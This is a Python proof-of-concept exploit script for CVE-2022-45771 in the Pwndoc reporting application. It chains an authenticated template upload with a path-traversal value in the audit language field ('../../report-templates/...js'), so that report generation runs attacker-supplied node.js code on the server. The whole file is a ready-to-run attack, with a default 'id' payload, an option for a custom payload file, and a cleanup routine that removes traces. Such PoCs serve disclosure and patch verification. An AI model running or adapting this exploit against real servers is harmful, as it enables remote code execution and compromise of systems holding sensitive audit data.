#!/usr/bin/env python3 # -*- coding: utf-8 -*- # File name : CVE-2022-45771-Pwndoc-LFI-to-RCE.py # Author : Podalirius (@podalirius_) # Date created : 13 Dec 2022 import argparse import base64 import os import requests import random def parseArgs(): print("PoC CVE-2022-45771 - Pwndoc LFI to RCE - by Remi GASCOU (Podalirius)\n") parser = argparse.ArgumentParser(description="PoC CVE-2022-45771 - Pwndoc LFI to RCE - by Remi GASCOU (Podalirius)") parser.add_argument("-u", "--username", default=None, required=True, help='Pwndoc username') parser.add_argument("-p", "--password", default=None, required=True, help='Pwndoc password') parser.add_argument("-H", "--host", default=None, required=True, type=str, help='Pwndoc ip') parser.add_argument("-P", "--port", default=8443, required=False, type=int, help='Pwndoc port') parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') parser.add_argument("--http", default=False, action="store_true", help='HTTP mode. (default: False)') parser.add_argument("-f", "--payload-file", default=None, help='File containing node.js code to run on the server.') return parser.parse_args() def gen_random_name(length=8): alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" name = "" for k in range(length): name += random.choice(alphabet) return name def login(session, target, username, password, verbose=False): success = False r = session.post( target + "/api/users/token", json={"username": username, "password": password, "totpToken": ""}, verify=False ) if r.json()["status"] == "success": if verbose: print("[>] Successfully logged in.") user = { "token": r.json()["datas"]["token"], "refreshToken": r.json()["datas"]["refreshToken"] } session.cookies.set("token", "JWT%20" + user["token"]) success = True elif r.json()["status"] == "error": if verbose: print("[!] Login error. (%s)" % r.json()["status"]) success = False return success def create_audit(session, target, auditName, auditLanguage, auditType, verbose=False): r = session.post( target + "/api/audits", json={ "name": auditName, "language": auditLanguage, "auditType": auditType } ) if r.json()["status"] == "success": print("[+] Audit '%s' (%s) was successfully created." % (r.json()["datas"]["audit"]["name"], r.json()["datas"]["audit"]["_id"])) return r.json()["datas"]["audit"]["_id"] elif r.json()["status"] == "error": print("[!] Error in audit creation. (%s)" % r.json()["datas"]) return None return None def create_audit_language(session, target, locale, language, verbose=False): success = False r = session.post( target + "/api/data/languages", json={ "locale": locale, "language": language } ) if r.json()["status"] == "success": print("[+] Language '%s' and locale '%s' were successfully created." % (language, locale)) success = True elif r.json()["status"] == "error": print("[!] Error in language or locale creation. (%s)" % r.json()["datas"]) success = False return success def create_audit_type(session, target, auditTypeName, templateName, templateLocale, templateId, verbose=False): success = False r = session.post( target + "/api/data/audit-types", json={ "name": auditTypeName, "templates": [ { "name": templateName, "locale": templateLocale, "template": templateId } ], "sections":[], "hidden":[] } ) if r.json()["status"] == "success": print("[+] AuditType '%s' was successfully created for template '%s' (%s)." % (auditTypeName, templateId, templateName)) success = True elif r.json()["status"] == "error": print("[!] Error in AuditType creation. (%s)" % r.json()["datas"]) success = False return success def set_audit_template(session, target, auditId, auditName, auditType, auditLanguage, templateId, verbose=False): success = False r = session.put( target + "/api/audits/%s/general" % auditId, json={ "collaborators": [], "reviewers": [], "_id": auditId, "name": auditName, "language": auditLanguage, "auditType": auditType, "customFields": [], "template": templateId, "scope": [] } ) if r.json()["status"] == "success": print("[+] Template '%s' was successfully added to audit '%s'." % (templateId, auditName)) success = True elif r.json()["status"] == "error": print("[!] Error in adding template to audit. (%s)" % r.json()["datas"]) success = False return success def generate_report(session, target, auditId, verbose=False): success = False r = session.get(target + "/api/audits/%s/generate" % auditId) def create_template(session, target, templateName, path_to_file=None, ext="docx", rawdata=b'\x00', verbose=False): if path_to_file is not None: f = open(path_to_file, "rb") bd64data = base64.b64encode(f.read()).decode('utf-8') f.close() else: bd64data = base64.b64encode(rawdata).decode('utf-8') r = session.post( target + "/api/templates", json={ "name": templateName, "file": bd64data, "ext": ext } ) if r.json()["status"] == "success": print("[+] Template '%s.%s' was successfully created." % (templateName, ext)) return r.json()["datas"]['_id'] elif r.json()["status"] == "error": print("[!] Error in template creation. (%s)" % r.json()["datas"]) return None return None def delete_audit(session, target, auditId, verbose=False): print("[+] Deleting audit '%s'" % auditId) r = session.delete(target + "/api/audits/%s" % auditId) def delete_audit_type(session, target, auditType, verbose=False): print("[+] Deleting auditType '%s'" % auditType) r = session.get(target + "/api/data/audit-types") if r.json()["status"] == "success": new_audit_types = [] for at in r.json()["datas"]: if at["name"] != auditType: new_audit_types.append(at) r = session.put(target + "/api/data/audit-types", json=new_audit_types) elif r.json()["status"] == "error": print("[!] Error in listing auditType. (%s)" % r.json()["datas"]) def delete_language_and_locale(session, target, language, locale, verbose=False): print("[+] Deleting language '%s', locale '%s'" % (language, locale)) r = session.get(target + "/api/data/languages") if r.json()["status"] == "success": new_languages = [] for ll in r.json()["datas"]: if ll["language"] != language and ll["locale"] != locale: new_languages.append(ll) r = session.put(target + "/api/data/languages", json=new_languages) elif r.json()["status"] == "error": print("[!] Error in listing languages. (%s)" % r.json()["datas"]) def delete_template(session, target, templateId, verbose=False): print("[+] Deleting template '%s'" % templateId) r = session.delete(target + "/api/templates/%s" % templateId) if __name__ == '__main__': options = parseArgs() if options.http: target = "http://%s:%d" % (options.host, options.port) else: target = "https://%s:%d" % (options.host, options.port) # Disable warings of insecure connection for invalid certificates requests.packages.urllib3.disable_warnings() # Allow use of deprecated and weak cipher methods requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' try: requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' except AttributeError: pass session = requests.Session() logged_in = login(session=session, target=target, username=options.username, password=options.password, verbose=options.verbose) if logged_in: # Creating a random audit language locale, language = gen_random_name(8), gen_random_name(8) create_audit_language(session=session, target=target, locale=locale, language=language) # Creating blank template for auditType b64data = "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" blankTemplateName = gen_random_name(16) if options.verbose: print("[debug] Using blankTemplateName = '%s'" % blankTemplateName) blankTemplateId = create_template(session=session, target=target, templateName=blankTemplateName, rawdata=base64.b64decode(b64data), verbose=options.verbose) if blankTemplateId is not None: # Creating new auditType auditTypeName = gen_random_name(16) if options.verbose: print("[debug] Using auditType = '%s'" % auditTypeName) create_audit_type(session=session, target=target, auditTypeName=auditTypeName, templateName=blankTemplateName, templateLocale=locale, templateId=blankTemplateId, verbose=options.verbose) # Creating exploit template (arbitrary file upload) print("[+] Creating the exploit template (arbitrary file upload)") exploitTemplateName = gen_random_name(16) auditLanguage = "../../report-templates/%s.js" % exploitTemplateName if options.verbose: print("[debug] Using blankTemplateName = '%s'" % exploitTemplateName) payload = b"require('child_process').spawn('id')" if options.payload_file is not None: if os.path.exists(options.payload_file): f = open(options.payload_file, "rb") payload = f.read() f.close() exploitTemplateId = create_template(session=session, target=target, templateName=exploitTemplateName, ext="js", rawdata=payload, verbose=options.verbose) # Creating an audit to trigger the RCE print("[+] Creating an audit to trigger the RCE through require('../../report-templates/%s.js')" % exploitTemplateName) auditName = gen_random_name(16) if options.verbose: print("[debug] Using auditName = '%s'" % auditName) auditId = create_audit(session=session, target=target, auditName=auditName, auditLanguage=auditLanguage, auditType=auditTypeName, verbose=options.verbose) if auditId is not None: template_updated = set_audit_template(session=session, target=target, auditName=auditName, auditId=auditId, auditType=auditTypeName, auditLanguage=auditLanguage, templateId=blankTemplateId, verbose=options.verbose) if template_updated: print("[+] Generating report and triggering server-side code execution...") generate_report(session, target, auditId, verbose=False) input("\nPress enter to start cleaning up exploit objects...\n") delete_audit(session=session, target=target, auditId=auditId, verbose=options.verbose) delete_audit_type(session=session, target=target, auditType=auditTypeName, verbose=options.verbose) delete_language_and_locale(session=session, target=target, language=language, locale=locale, verbose=options.verbose) delete_template(session=session, target=target, templateId=blankTemplateId, verbose=options.verbose) delete_template(session=session, target=target, templateId=exploitTemplateId, verbose=options.verbose) else: print("[!] Could not set template '%s' in audit '%s'." % (exploitTemplateId, auditName)) else: print("[!] Could not create audit.") else: print("[!] Could not create template.") print("[+] Bye bye!")